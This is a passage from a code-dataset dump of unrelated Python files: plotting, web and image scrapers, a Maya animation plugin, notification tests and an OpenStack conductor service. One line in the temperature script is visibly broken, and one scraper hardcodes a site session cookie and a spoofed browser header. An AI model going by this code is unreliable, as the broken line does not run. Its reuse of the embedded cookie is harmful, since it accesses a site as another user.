station_2015[(station_2015['Element']=='TMIN')].groupby('Month-Date').aggregate({'Temp_deg_Cel':np.min})\nmaxtemp_2015 = station_2015[(station_2015['Element']=='TMAX')].groupby('Month-Date').aggregate({'Temp_deg_Cel':np.max})\n\n# Rename columns\nmintemp_2015 = mintemp_2015.rename(index=str, columns={'Temp_deg_Cel':'Temp_deg_Cel_15'})\nmaxtemp_2015 = maxtemp_2015.rename(index=str, columns={'Temp_deg_Cel':'Temp_deg_Cel_15'})\n\n#print(mintemp_2015)\n#print(maxtemp_2015)\n\n# Concatenate the two data frames - before 2015 & 2015 temp data\nresult_mintemp = pd.concat([mintemp_before2015, mintemp_2015], axis=1)\nresult_maxtemp = pd.concat([maxtemp_before2015, maxtemp_2015], axis=1)\n\n#print(result_mintemp)\n#print(result_maxtemp)\n\n# Identify the indexes for minimum and maximum temperature outliers\nminimum_temp_outlier = np.where(result_mintemp['Temp_deg_Cel_15']result_maxtemp['Temp_deg_Cel'])[0]\n\nprint(minimum_temp_outlier)\nprint(maximum_temp_outlier)\n\n# Plot the minimum and maximum temperature\nfig = plt.figure(1, figsize=(11,6))\nplt.subplot(111)\nplt.plot(mintemp_before2015.values, lw=1, color='blue')\nplt.plot(maxtemp_before2015.values, lw=1, color='red')\nplt.xlabel(\"Day of the year\")\nplt.ylabel(\"Temperature in degree Celcius\")\nplt.title(\"Record low & high temperature for each day of the year (2005-2014) \\n Recorded by station at Markdale, Ontario\")\nplt.fill_between(range(len(mintemp_before2015)), mintemp_before2015['Temp_deg_Cel'], maxtemp_before2015['Temp_deg_Cel'], color=\"grey\", alpha=0.5)\n\n# Scatter plot to show the outliers above max temp or below min temp for the year 2015 compared to the period 2005-2014\n#X_index = minimum_temp_outlier.index\nmin_temp = plt.scatter(minimum_temp_outlier, result_mintemp.iloc[minimum_temp_outlier]['Temp_deg_Cel_15'], alpha=0.9, color='aqua', edgecolors='black', marker='v')\nmax_temp = plt.scatter(maximum_temp_outlier, result_maxtemp.iloc[maximum_temp_outlier]['Temp_deg_Cel_15'], alpha=0.9, color='orange', edgecolors='black', marker='^')\n\nplt.legend((min_temp, max_temp),\n (\"2015 minimum temp. below record low temp. from period 2005-2014\",\n \"2015 maximum temp. above record high temp. from period 2005-2014\"),\n loc = 'lower right')\n\nfig.savefig('temp_plot.png')\n","sub_path":"Applied Plotting, Charting and Data Representation in Python/Assignment1/Temperature_plot.py","file_name":"Temperature_plot.py","file_ext":"py","file_size_in_byte":4190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"634977085","text":"from bs4 import beautifulSoup\nimport requests\nsource = requests.get(\"http://coreyms.com\").text\nsoup = beautifulSoup(source,'html.parser')\nprint(soup.prettify())\narticle = soup.find('article')\n#print(article.prettify())\n#headline = article.h2.a.text\n#print(headline)\nsummary = article.find('div', class_ = 'entry-content').p.text\nprint(summary)","sub_path":"venv/Webscraping.py","file_name":"Webscraping.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"215850615","text":"#Embedded file name: C:/Users/hovel/Dropbox/packages/studioLibrary/1.5.8/build27/studioLibrary\\plugins\\mirrorTablePlugin.py\n\"\"\"\n# Released subject to the BSD License\n# Please visit http://www.voidspace.org.uk/python/license.shtml\n#\n# Copyright (c) 2014, Kurt Rathjen\n# All rights reserved.\n# Comments, suggestions and bug reports are welcome.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n # * Redistributions of source code must retain the above copyright\n # notice, this list of conditions and the following disclaimer.\n # * Redistributions in binary form must reproduce the above copyright\n # notice, this list of conditions and the following disclaimer in the\n # documentation and/or other materials provided with the distribution.\n # * Neither the name of Kurt Rathjen nor the\n # names of its contributors may be used to endorse or promote products\n # derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY KURT RATHJEN ''AS IS'' AND ANY\n# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL KURT RATHJEN BE LIABLE FOR ANY\n# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\"\"\"\ntry:\n from PySide import QtGui\n from PySide import QtCore\nexcept ImportError:\n from PyQt4 import QtGui\n from PyQt4 import QtCore\n\ntry:\n import maya.cmds\nexcept ImportError:\n import traceback\n traceback.print_exc()\n\nimport mutils\nimport studioLibrary\nimport studioLibrary.plugins.mayaBasePlugin as mayaBasePlugin\n\nclass SelectionSetPluginError(Exception):\n \"\"\"Base class for exceptions in this module.\"\"\"\n pass\n\n\nclass Plugin(mayaBasePlugin.Plugin):\n\n def __init__(self, parent):\n \"\"\"\n @type parent:\n \"\"\"\n studioLibrary.Plugin.__init__(self, parent)\n self.setName('Mirror Table')\n self.setIcon(self.dirname() + '/images/mirrortable.png')\n self.setExtension('mirror')\n self.setRecord(Record)\n self.setInfoWidget(MirrorTableInfoWidget)\n self.setCreateWidget(MirrorTableCreateWidget)\n self.setPreviewWidget(MirrorTablePreviewWidget)\n\n def mirrorAnimation(self):\n \"\"\"\n @rtype: bool\n \"\"\"\n return self.settings().get('mirrorAnimation', True)\n\n def mirrorOption(self):\n \"\"\"\n @rtype: mutils.MirrorOption\n \"\"\"\n return self.settings().get('mirrorOption', mutils.MirrorOption.Swap)\n\n\nclass Record(mayaBasePlugin.Record):\n\n def __init__(self, *args, **kwargs):\n mayaBasePlugin.Record.__init__(self, *args, **kwargs)\n self._transferObject = None\n\n def transferPath(self):\n return self.dirname() + '/mirrortable.json'\n\n def transferObject(self):\n if self._transferObject is None:\n self._transferObject = mutils.MirrorTable.createFromPath(self.transferPath())\n return self._transferObject\n\n def keyPressEvent(self, event):\n if event.key() == QtCore.Qt.Key_M:\n pass\n\n @mutils.showWaitCursor\n def load(self, option = None, animation = None, time = None):\n \"\"\"\n \"\"\"\n if option is None:\n option = self.plugin().mirrorOption()\n if animation is None:\n animation = self.plugin().mirrorAnimation()\n objects = maya.cmds.ls(selection=True)\n try:\n self.transferObject().load(objects, namespaces=self.namespaces(), option=option, animation=animation, time=time)\n except Exception as msg:\n self.window().setError(str(msg))\n raise\n\n def doubleClicked(self):\n \"\"\"\n \"\"\"\n self.load()\n\n\nclass MirrorTableInfoWidget(mayaBasePlugin.InfoWidget):\n\n def __init__(self, parent = None, record = None):\n \"\"\"\n :param parent:\n :param record:\n \"\"\"\n mayaBasePlugin.InfoWidget.__init__(self, parent, record)\n\n\nclass MirrorTablePreviewWidget(mayaBasePlugin.PreviewWidget):\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n :param args:\n :param kwargs:\n \"\"\"\n mayaBasePlugin.PreviewWidget.__init__(self, *args, **kwargs)\n self.connect(self.ui.mirrorAnimationCheckBox, QtCore.SIGNAL('stateChanged(int)'), self.stateChanged)\n self.connect(self.ui.mirrorOptionComboBox, QtCore.SIGNAL('currentIndexChanged(const QString&)'), self.stateChanged)\n mt = self.record().transferObject()\n self.ui.left.setText(mt.left())\n self.ui.right.setText(mt.right())\n\n def mirrorOption(self):\n return self.ui.mirrorOptionComboBox.findText(self.ui.mirrorOptionComboBox.currentText(), QtCore.Qt.MatchExactly)\n\n def mirrorAnimation(self):\n return self.ui.mirrorAnimationCheckBox.isChecked()\n\n def saveSettings(self):\n \"\"\"\n \"\"\"\n super(MirrorTablePreviewWidget, self).saveSettings()\n s = self.settings()\n s.set('mirrorOption', int(self.mirrorOption()))\n s.set('mirrorAnimation', bool(self.mirrorAnimation()))\n s.save()\n\n def loadSettings(self):\n \"\"\"\n \"\"\"\n super(MirrorTablePreviewWidget, self).loadSettings()\n s = self.settings()\n self.ui.mirrorOptionComboBox.setCurrentIndex(s.get('mirrorOption', mutils.MirrorOption.Swap))\n self.ui.mirrorAnimationCheckBox.setChecked(s.get('mirrorAnimation', True))\n\n def accept(self):\n \"\"\"\n \"\"\"\n self.record().load()\n\n\nclass MirrorTableCreateWidget(mayaBasePlugin.CreateWidget):\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n :param args:\n :param kwargs:\n \"\"\"\n mayaBasePlugin.CreateWidget.__init__(self, *args, **kwargs)\n self.ui.selectionSetButton.hide()\n\n def selectionChanged(self):\n objects = maya.cmds.ls(selection=True) or []\n if not self.ui.left.text():\n self.ui.left.setText(mutils.MirrorTable.findLeftSide(objects))\n if not self.ui.right.text():\n self.ui.right.setText(mutils.MirrorTable.findRightSide(objects))\n mt = mutils.MirrorTable.createFromObjects([], left=str(self.ui.left.text()), right=str(self.ui.right.text()))\n self.ui.leftCount.setText(str(mt.leftCount(objects)))\n self.ui.rightCount.setText(str(mt.rightCount(objects)))\n mayaBasePlugin.CreateWidget.selectionChanged(self)\n\n @mutils.showWaitCursor\n def accept(self):\n \"\"\"\n :raise:\n \"\"\"\n mayaBasePlugin.CreateWidget.accept(self)\n msg = 'An error has occurred while saving the mirror table! Please check the script editor for more details.'\n try:\n path = studioLibrary.getTempDir() + '/mirrortable.json'\n left = str(self.ui.left.text())\n right = str(self.ui.right.text())\n mt = mutils.MirrorTable.createFromObjects(maya.cmds.ls(selection=True), left=left, right=right)\n mt.save(path)\n self.record().save(content=[path], icon=self._thumbnail)\n except Exception:\n self.record().window().setError(msg)\n raise\n\n\nif __name__ == '__main__':\n import studioLibrary\n studioLibrary.main()\n","sub_path":"plugins/mirrorTablePlugin.py","file_name":"mirrorTablePlugin.py","file_ext":"py","file_size_in_byte":7685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"486482539","text":"''' This program performs various string operations'''\n\n# Join method\nnamesList = ['Tuffy','Ali','Nysha','Tim' ]\nsentence = 'My dog sleeps on sofa'\nnames = ';'.join(namesList)\nprint(type(names), ':', names)\n\n# split method\nwordList = sentence.split(' ')\nprint((type(wordList)), ':', wordList)\n\n# Arithmetic operators + and *\nadditionExample = 'ganehsa' + 'ganesha' + 'ganesha'\nmultiplicationExample = 'ganesha' * 2\nprint('Text Additions :', additionExample)\nprint('Text Multiplication :', multiplicationExample)","sub_path":"nlp_with_python_cookbook/practice/synset_hyper_hypo/string_operations.py","file_name":"string_operations.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"6132906","text":"from pfcm.pfcm import Pfcm, FcmAPI\nimport os\nimport yaml\nimport datetime\n\ncur_dir = os.path.dirname(os.path.abspath(__file__))\nparent_dir = os.path.dirname(cur_dir)\nprint(parent_dir)\nprivate_file = os.path.join(parent_dir, 'service_token.json')\nwith open('config.yml') as f:\n config = yaml.load(f.read())\nprint(config)\nproject_name = config[\"default\"][\"project_name\"]\nregistration_id = config[\"default\"][\"one_token\"]\n\n\ndef test_pfcm_send_one_device():\n message_title = \"one device\"\n message_body = \"{} body of message\".format(datetime.datetime.now())\n fsmapi = FcmAPI(project_name, private_file)\n pfcm = Pfcm(fsmapi)\n for i in range(10):\n results = pfcm.send_msg(\n registration_id=registration_id,\n message_title=message_title,\n message_body=message_body)\n for result in results:\n print(result)\n\n\ndef test_pfcm_send_topic():\n message_title = \"topic\"\n message_body = \"{} body of message\".format(datetime.datetime.now())\n\n fsmapi = FcmAPI(project_name, private_file)\n pfcm = Pfcm(fsmapi)\n topic = \"Global_Topic_Dev\"\n results = pfcm.send_msg(\n topic=topic,\n message_title=message_title,\n message_body=message_body)\n\n for result in results:\n print(result)\n","sub_path":"tests/test_pfcm.py","file_name":"test_pfcm.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"510449902","text":"from datetime import datetime\nimport datefinder\n\ndef readcomtxt(m):\n fr=open('C:/Users/IBM_ADMIN/Desktop/Gary/mmsevent.log','r').readlines()\n Incom=fr[m] #extract specific line form database\n Recho=fr[m+1]\n Incomtime=datetime.strptime(Incom[0:26], \"%Y-%m-%d-%H.%M.%S.%f\") #find date from data\n Rechotime=datetime.strptime(Recho[0:26], \"%Y-%m-%d-%H.%M.%S.%f\")\n date_format=\"%Y-%m-%d-%H.%M.%S.%f\"\n return print (Incomtime) \n\t\t\nif __name__ == '__main__':\n\tf=open('C:/Users/IBM_ADMIN/Desktop/Gary/mmsevent.log')\n\tlinenum = 7\n\t#len(f.readlines()) \n\tk=1\n\tfor k in range(linenum): \n\n\t\treadcomtxt(k)\n \n\t\tk+=1\n ","sub_path":"computtest-1.py","file_name":"computtest-1.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"342364974","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 2019/1/19 14:52\n@Author: Johnson\n@Email:593956670@qq.com\n@File: 百度贴吧图片爬虫模板.py\n\"\"\"\n#urllib模块提供了读取Web页面数据的接口\nimport urllib.request\nimport time\n#re模块主要包含了正则表达式\nimport re\n\n\nheaders = {'Accept': 'text/html, application/xhtml+xml, image/jxr, */*',\n 'Accept - Encoding':'gzip, deflate',\n 'Accept-Language':'zh-Hans-CN, zh-Hans; q=0.5',\n 'Connection':'Keep-Alive',\n 'Host':'zhannei.baidu.com',\n 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063'}\n#定义一个getHtml()函数\ndef getHtml(url):\n req = urllib.request.Request(url=url,headers=headers)\n page = urllib.request.urlopen(req) #urllib.request.urlopen()方法用于打开一个URL地址\n html = page.read() #read()方法用于读取URL上的数据\n return html\n\ndef getImg(html,x):\n reg = r'src=\"(.+?\\.jpg)\" pic_ext' #正则表达式,得到图片地址\n imgre = re.compile(reg) #re.compile() 可以把正则表达式编译成一个正则表达式对象.\n html = html.decode('utf-8') #python3\n imglist = re.findall(imgre,html) #re.findall() 方法读取html 中包含 imgre(正则表达式)的数据\n #把筛选的图片地址通过for循环遍历并保存到本地\n #核心是urllib.request.urlretrieve()方法,直接将远程数据下载到本地,图片通过x依次递增命名\n for imgurl in imglist:\n urllib.request.urlretrieve(imgurl,'e:\\LovePic\\%s.jpg' % x)\n x += 1\n return x\n\nx = 1\nurl = \"https://tieba.baidu.com/p/3108805355?pn=\"\nfor k in range(1,22):\n try:\n ul = url+str(k)\n print(ul)\n html = getHtml(ul)\n time.sleep(5)\n x = getImg(html,x)\n except:\n pass","sub_path":"图片的那些事/百度贴吧图片爬虫模板.py","file_name":"百度贴吧图片爬虫模板.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"40860969","text":"# coding=utf-8\n\n# Copyright 2013 Hewlett-Packard Development Company, L.P.\n# Copyright 2013 International Business Machines Corporation\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom eventlet import greenpool\nimport inspect\n\nfrom iotronic.db import api as dbapi\n\nfrom iotronic.common import exception\n\nfrom iotronic.common.i18n import _LC\nfrom iotronic.common.i18n import _LI\nfrom iotronic.common.i18n import _LW\n\nfrom iotronic.conductor import task_manager\nfrom iotronic.wamp.rpcwamp import RPC_Wamp\nfrom iotronic.wamp.wampresponse import WampResponse\n\nfrom iotronic.openstack.common import periodic_task\n\n\nfrom oslo_concurrency import lockutils\nfrom oslo_config import cfg\nfrom oslo_db import exception as db_exception\nfrom oslo_log import log\nimport oslo_messaging as messaging\nfrom oslo_utils import excutils\n\nimport threading\n\nMANAGER_TOPIC = 'iotronic.conductor_manager'\nWORKER_SPAWN_lOCK = \"conductor_worker_spawn\"\n\nLOG = log.getLogger(__name__)\n\nconductor_opts = [\n cfg.StrOpt('api_url',\n help=('URL of Iotronic API service. If not set iotronic can '\n 'get the current value from the keystone service '\n 'catalog.')),\n cfg.IntOpt('heartbeat_interval',\n default=10,\n help='Seconds between conductor heart beats.'),\n cfg.IntOpt('heartbeat_timeout',\n default=60,\n help='Maximum time (in seconds) since the last check-in '\n 'of a conductor. A conductor is considered inactive '\n 'when this time has been exceeded.'),\n cfg.IntOpt('periodic_max_workers',\n default=8,\n help='Maximum number of worker threads that can be started '\n 'simultaneously by a periodic task. Should be less '\n 'than RPC thread pool size.'),\n cfg.IntOpt('workers_pool_size',\n default=100,\n help='The size of the workers greenthread pool.'),\n cfg.IntOpt('node_locked_retry_attempts',\n default=3,\n help='Number of attempts to grab a node lock.'),\n cfg.IntOpt('node_locked_retry_interval',\n default=1,\n help='Seconds to sleep between node lock attempts.'),\n cfg.BoolOpt('send_sensor_data',\n default=False,\n help='Enable sending sensor data message via the '\n 'notification bus'),\n cfg.IntOpt('send_sensor_data_interval',\n default=600,\n help='Seconds between conductor sending sensor data message'\n ' to ceilometer via the notification bus.'),\n cfg.ListOpt('send_sensor_data_types',\n default=['ALL'],\n help='List of comma separated meter types which need to be'\n ' sent to Ceilometer. The default value, \"ALL\", is a '\n 'special value meaning send all the sensor data.'),\n cfg.IntOpt('sync_local_state_interval',\n default=180,\n help='When conductors join or leave the cluster, existing '\n 'conductors may need to update any persistent '\n 'local state as nodes are moved around the cluster. '\n 'This option controls how often, in seconds, each '\n 'conductor will check for nodes that it should '\n '\"take over\". Set it to a negative value to disable '\n 'the check entirely.'),\n cfg.BoolOpt('configdrive_use_swift',\n default=False,\n help='Whether to upload the config drive to Swift.'),\n cfg.IntOpt('inspect_timeout',\n default=1800,\n help='Timeout (seconds) for waiting for node inspection. '\n '0 - unlimited.'),\n]\nCONF = cfg.CONF\nCONF.register_opts(conductor_opts, 'conductor')\n\n\nclass ConductorManager(periodic_task.PeriodicTasks):\n \"\"\"Iotronic Conductor manager main class.\"\"\"\n\n # sync with rpcapi.ConductorAPI's.\n RPC_API_VERSION = '1.0'\n\n target = messaging.Target(version=RPC_API_VERSION)\n\n def __init__(self, host, topic):\n super(ConductorManager, self).__init__()\n if not host:\n host = CONF.host\n self.host = host\n self.topic = topic\n self.wamp = RPC_Wamp()\n\n def init_host(self):\n self.dbapi = dbapi.get_instance()\n\n self._keepalive_evt = threading.Event()\n \"\"\"Event for the keepalive thread.\"\"\"\n\n self._worker_pool = greenpool.GreenPool(\n size=CONF.conductor.workers_pool_size)\n \"\"\"GreenPool of background workers for performing tasks async.\"\"\"\n\n try:\n # Register this conductor with the cluster\n cdr = self.dbapi.register_conductor(\n {'hostname': self.host})\n except exception.ConductorAlreadyRegistered:\n LOG.warn(_LW(\"A conductor with hostname %(hostname)s \"\n \"was previously registered. Updating registration\"),\n {'hostname': self.host})\n\n cdr = self.dbapi.register_conductor({'hostname': self.host},\n update_existing=True)\n self.conductor = cdr\n\n # Spawn a dedicated greenthread for the keepalive\n try:\n self._spawn_worker(self._conductor_service_record_keepalive)\n LOG.info(_LI('Successfully started conductor with hostname '\n '%(hostname)s.'),\n {'hostname': self.host})\n except exception.NoFreeConductorWorker:\n with excutils.save_and_reraise_exception():\n LOG.critical(_LC('Failed to start keepalive'))\n self.del_host()\n\n def _collect_periodic_tasks(self, obj):\n for n, method in inspect.getmembers(obj, inspect.ismethod):\n if getattr(method, '_periodic_enabled', False):\n self.add_periodic_task(method)\n\n def del_host(self, deregister=True):\n self._keepalive_evt.set()\n if deregister:\n try:\n # Inform the cluster that this conductor is shutting down.\n # Note that rebalancing will not occur immediately, but when\n # the periodic sync takes place.\n self.dbapi.unregister_conductor(self.host)\n LOG.info(_LI('Successfully stopped conductor with hostname '\n '%(hostname)s.'),\n {'hostname': self.host})\n except exception.ConductorNotFound:\n pass\n else:\n LOG.info(_LI('Not deregistering conductor with hostname '\n '%(hostname)s.'),\n {'hostname': self.host})\n # Waiting here to give workers the chance to finish. This has the\n # benefit of releasing locks workers placed on nodes, as well as\n # having work complete normally.\n self._worker_pool.waitall()\n\n def periodic_tasks(self, context, raise_on_error=False):\n \"\"\"Periodic tasks are run at pre-specified interval.\"\"\"\n return self.run_periodic_tasks(context, raise_on_error=raise_on_error)\n\n @lockutils.synchronized(WORKER_SPAWN_lOCK, 'iotronic-')\n def _spawn_worker(self, func, *args, **kwargs):\n \"\"\"Create a greenthread to run func(*args, **kwargs).\n\n Spawns a greenthread if there are free slots in pool, otherwise raises\n exception. Execution control returns immediately to the caller.\n\n :returns: GreenThread object.\n :raises: NoFreeConductorWorker if worker pool is currently full.\n\n \"\"\"\n if self._worker_pool.free():\n return self._worker_pool.spawn(func, *args, **kwargs)\n else:\n raise exception.NoFreeConductorWorker()\n\n def _conductor_service_record_keepalive(self):\n while not self._keepalive_evt.is_set():\n try:\n self.dbapi.touch_conductor(self.host)\n except db_exception.DBConnectionError:\n LOG.warning(_LW('Conductor could not connect to database '\n 'while heartbeating.'))\n self._keepalive_evt.wait(CONF.conductor.heartbeat_interval)\n\n @messaging.expected_exceptions(exception.InvalidParameterValue,\n exception.MissingParameterValue,\n exception.NodeLocked)\n def update_node(self, context, node_obj):\n \"\"\"Update a node with the supplied data.\n\n This method is the main \"hub\" for PUT and PATCH requests in the API.\n\n :param context: an admin context\n :param node_obj: a changed (but not saved) node object.\n\n \"\"\"\n node_id = node_obj.uuid\n LOG.debug(\"RPC update_node called for node %s.\" % node_id)\n\n with task_manager.acquire(context, node_id, shared=False):\n node_obj.save()\n\n return node_obj\n\n @messaging.expected_exceptions(exception.NodeLocked,\n exception.NodeNotConnected)\n def destroy_node(self, context, node_id):\n \"\"\"Delete a node.\n\n :param context: request context.\n :param node_id: node id or uuid.\n :raises: NodeLocked if node is locked by another conductor.\n :raises: NodeNotConnected if the node is not connected.\n\n \"\"\"\n\n with task_manager.acquire(context, node_id) as task:\n node = task.node\n r = WampResponse()\n r.clearConfig()\n response = self.wamp.rpc_call(\n 'stack4things.' + node.uuid + '.configure',\n r.getResponse())\n if response['result'] == 0:\n node.destroy()\n LOG.info(_LI('Successfully deleted node %(node)s.'),\n {'node': node.uuid})\n else:\n raise exception.NodeNotConnected(node=node.uuid)\n","sub_path":"iotronic/conductor/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":10462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"621309932","text":"import json\nfrom queue import Queue\nimport requests\nimport re\nimport threading\n\n\nclass FangTangTheme(object):\n\tdef __init__(self):\n\t\tself.url_queue = Queue()\n\t\tself.url_temp = 'http://www.kidsfoto.net/member/member_list_article_api.php?tid={}' \\\n\t\t '&sortby=pubdate&count=1&callback=success_jsonpCallback&_=1525836755688'\n\t\tfor i in range(1000):\n\t\t\tself.url_queue.put(self.url_temp.format(i))\n\t\tself.f = open(\"themes.json\", \"w\")\n\t\tself.f.write(\"[\\n\")\n\n\t\tself.expect_queue = Queue()\n\t\tself.headers = {\n\t\t\t\"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\",\n\t\t\t\"Accept-Encoding\": \"gzip, deflate\",\n\t\t\t\"Accept-Language\": \"zh-CN,zh;q=0.9\",\n\t\t\t\"Cache-Control\": \"max-age=0\",\n\t\t\t\"Connection\": \"keep-alive\",\n\t\t\t\"Cookie\": \"_ga=GA1.2.1656641939.1525686616; Hm_lvt_ecc282c4633148dba4b8b3a8cefe793d=1525686616,1525836740; _gid=GA1.2.2056137377.1525836741; PHPSESSID=gb8kifrcsamqbr2t8kj751s3u0; Hm_lpvt_ecc282c4633148dba4b8b3a8cefe793d=1525845692; _gat_gtag_UA_62879704_2=1\",\n\t\t\t\"Host\": \"www.kidsfoto.net\",\n\t\t\t\"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\"\n\t\t}\n\n\tdef run(self):\n\t\tt_list = list()\n\t\tfor i in range(15):\n\t\t\tt = threading.Thread(target=self.get_data)\n\t\t\tt_list.append(t)\n\n\t\ts = threading.Thread(target=self.save_result)\n\t\tt_list.append(s)\n\n\t\tfor t in t_list:\n\t\t\tt.setDaemon(True)\n\t\t\tt.start()\n\t\tself.url_queue.join()\n\t\tself.expect_queue.join()\n\n\tdef get_data(self):\n\t\twhile self.url_queue.not_empty:\n\t\t\turl = self.url_queue.get()\n\t\t\tresponse = requests.get(url=url, headers=self.headers)\n\t\t\tresult = self.parse_data(response.content.decode())\n\t\t\tif result is not None:\n\t\t\t\tprint(result)\n\t\t\t\tself.expect_queue.put(result)\n\t\t\tself.url_queue.task_done()\n\n\tdef parse_data(self, data):\n\t\tresult = re.match(r\"^success_jsonpCallback\\((.*)\\)$\", data.strip())\n\t\tif result is not None:\n\t\t\tdata_dict = json.loads(result.group(1))\n\t\t\ttotal_count = data_dict.get(\"total_count\")\n\t\t\ttypename = data_dict.get(\"typename\")\n\t\t\ttid = data_dict.get(\"tid\")\n\t\t\tif not all([total_count, typename]):\n\t\t\t\treturn None\n\t\t\ttry:\n\t\t\t\tif int(total_count) > 10:\n\t\t\t\t\treturn {\"tid\": tid, \"total_count\": total_count, \"typename\": typename}\n\t\t\texcept Exception as e:\n\t\t\t\tprint(e)\n\t\t\t\treturn None\n\t\telse:\n\t\t\treturn None\n\n\tdef save_result(self):\n\t\twhile self.expect_queue.not_empty:\n\t\t\tresult = self.expect_queue.get()\n\t\t\tself.f.write(json.dumps(result, ensure_ascii=False) + \",\" + \"\\n\")\n\t\t\tself.expect_queue.task_done()\n\n\tdef __del__(self):\n\t\tself.f.close()\n\n\nif __name__ == '__main__':\n\tfantang = FangTangTheme()\n\tfantang.run()\n","sub_path":"fengtang/fengtang/fengtang_get_themes.py","file_name":"fengtang_get_themes.py","file_ext":"py","file_size_in_byte":2627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"83504355","text":"import torch\nfrom scripts.mnist.utils import jacobian_det, multi_props_inj, Dice\nimport neurite as ne\nfrom matplotlib import colors\nimport numpy as np\nimport time\n\ndef evaluate_image(trainer, fix, moving, mode, show=True):\n with torch.no_grad():\n if mode==\"vxm\":\n moved, flow = trainer.model(moving, fix)\n if mode==\"inv\":\n flow = trainer.model(moving, fix)\n moved = trainer.transform(moving, flow)\n \n jacob_det = jacobian_det(flow)\n jacob_born = max(abs(jacob_det.min()), abs(jacob_det.max()))\n\n images = [img[0, 0, :, :].detach().numpy() for img in [moving, fix, moved]]\n titles = ['source', 'target', 'moved', 'jacobian_det', 'jacobian_det (binary)']\n cmaps = ['gray', 'gray', 'gray', 'bwr', 'Reds']\n norms = [colors.Normalize(vmin=vmin, vmax=vmax) for vmin, vmax in [[0, 1], [0, 1], [0, 1], [-jacob_born, jacob_born], [0,1]]]\n\n fig, axes = ne.plot.slices([*images, jacob_det, 1-1 * (np.abs(jacob_det) > 0.1)], titles=titles,\n norms=norms, \n cmaps=cmaps, do_colorbars=True, show=show);\n ## Eval\n # print(\"Flow :\")\n fig_flow, _ = ne.plot.flow([flow.squeeze().permute(1, 2, 0)], width=4, show=show);\n moved, fixed = moved[0, 0, :, :].detach().numpy(), fix[0, 0, :, :].detach().numpy()\n dice = Dice(moved, fixed)\n \n return {\"fig\": fig, 'flow':fig_flow, 'dice': dice}\n\n","sub_path":"scripts/mnist/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"84221004","text":"qnt = int(input())\r\nent = input()\r\n\r\nult = qnt - 1\r\n\r\nfor i in range(qnt):\r\n arv = {}\r\n total = 0\r\n try:\r\n while True:\r\n ent = input()\r\n if ent == '':\r\n break\r\n arv[ent] = arv.get(ent, 0) + 1\r\n total += 1\r\n except:\r\n pass\r\n keys = list(arv.keys())\r\n keys.sort()\r\n for a in keys:\r\n print('{} {:.4f}'.format(a, (arv[a] / total) * 100))\r\n\r\n if i != ult:\r\n print()\r\n","sub_path":"URI/1260.py","file_name":"1260.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"400993523","text":"import motor.motor_asyncio, configparser\nfrom dotenv import dotenv_values\nfrom .status import return_status\nfrom .. import utilities\n\nconfig = configparser.ConfigParser()\nconfig.read(\"conf.ini\")\nIS_PRODUCTION = config[\"DATABASE\"].getboolean(\"production\")\n\nif IS_PRODUCTION:\n import os\n\n un = os.environ[\"MONGO_DB_USERNAME\"]\n pw = os.environ[\"MONGO_DB_PASSWORD\"]\n url = os.environ[\"MONGO_DB_URL\"]\nelse:\n config = dotenv_values(\".env\")\n un = 